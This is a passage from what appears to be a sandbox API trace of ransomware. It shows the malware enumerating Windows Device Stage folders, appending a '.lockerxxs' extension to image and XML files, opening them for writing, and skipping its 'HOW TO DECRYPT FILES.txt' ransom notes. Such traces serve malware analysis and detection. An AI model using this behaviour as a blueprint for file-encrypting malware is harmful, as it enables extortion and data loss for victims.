"c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\how to decrypt files.txt")) returned 0x20 [0092.140] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\", lpString2="device.png" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" [0092.140] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" [0092.140] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" [0092.140] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", lpString2="." | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png.") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png." [0092.140] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png.lockerxxs") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png.lockerxxs" [0092.140] CreateFileA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.140] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0092.140] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.140] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HOW TO DECRYPT FILES.txt") returned -1 [0092.140] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HOW TO DECRYPT FILES.txt") returned 0 [0092.140] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0a07cc, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0a07cc, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x18f51c, dwReserved1=0x4f0048, cFileName="overlay.png", cAlternateFileName="")) returned 1 [0092.140] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.140] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="overlay.png") returned -1 [0092.141] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="overlay.png") returned -1 [0092.141] lstrcmpiA (lpString1="", lpString2="overlay.png") returned -1 [0092.141] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png") returned="device.png" [0092.141] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0092.141] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="" [0092.141] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HOW TO DECRYPT FILES.txt" [0092.141] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\how to decrypt files.txt")) returned 0x20 [0092.141] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\", lpString2="overlay.png" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" [0092.141] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" [0092.141] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" [0092.141] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", lpString2="." | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png.") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png." [0092.141] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png.lockerxxs") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png.lockerxxs" [0092.141] CreateFileA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.142] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0c6929, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0c6929, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 1 [0092.142] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.142] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="superbar.png") returned -1 [0092.142] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="superbar.png") returned -1 [0092.142] lstrcmpiA (lpString1="", lpString2="superbar.png") returned -1 [0092.142] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png") returned="overlay.png" [0092.142] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0092.142] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="" [0092.142] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HOW TO DECRYPT FILES.txt" [0092.142] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\how to decrypt files.txt")) returned 0x20 [0092.142] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\", lpString2="superbar.png" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" [0092.142] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" [0092.143] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" [0092.143] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", lpString2="." | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png.") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png." [0092.143] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png.lockerxxs") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png.lockerxxs" [0092.143] CreateFileA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.143] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0c6929, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0c6929, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 0 [0092.143] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0092.143] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfff64e40, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff64e40, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4970, dwReserved1=0x18001008, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1 [0092.143] lstrcmpA (lpString1=".", lpString2="{8702d817-5aad-4674-9ef3-4d3decd87120}") returned -1 [0092.143] lstrcmpA (lpString1="..", lpString2="{8702d817-5aad-4674-9ef3-4d3decd87120}") returned -1 [0092.143] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*.*") returned="*.*" [0092.143] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\", lpString2="{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" [0092.143] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfff64e40, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff64e40, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.144] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.144] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfff64e40, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff64e40, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.144] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.144] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.144] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c0af2f7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x9c0af2f7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x9c0af2f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0092.144] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.144] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="background.png") returned 1 [0092.144] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="background.png") returned 1 [0092.144] lstrcmpiA (lpString1="", lpString2="background.png") returned -1 [0092.144] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*.*") returned="*.*" [0092.144] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" [0092.144] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="" [0092.144] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\HOW TO DECRYPT FILES.txt" [0092.145] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\how to decrypt files.txt")) returned 0x20 [0092.145] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\", lpString2="background.png" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" [0092.145] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" [0092.145] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" [0092.145] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", lpString2="." | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png.") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png." [0092.145] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png.lockerxxs") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png.lockerxxs" [0092.145] CreateFileA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.145] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2feb941, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2feb941, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x769, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0092.145] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.145] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="behavior.xml") returned 1 [0092.145] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="behavior.xml") returned 1 [0092.145] lstrcmpiA (lpString1="", lpString2="behavior.xml") returned -1 [0092.145] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png") returned="background.png" [0092.145] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" [0092.146] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="" [0092.146] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\HOW TO DECRYPT FILES.txt" [0092.146] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\how to decrypt files.txt")) returned 0x20 [0092.146] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\", lpString2="behavior.xml" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" [0092.146] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x300032, dwReserved1=0x5c007d, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0092.146] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.146] lstrcmpiA (lpString1="ÊÀÊ 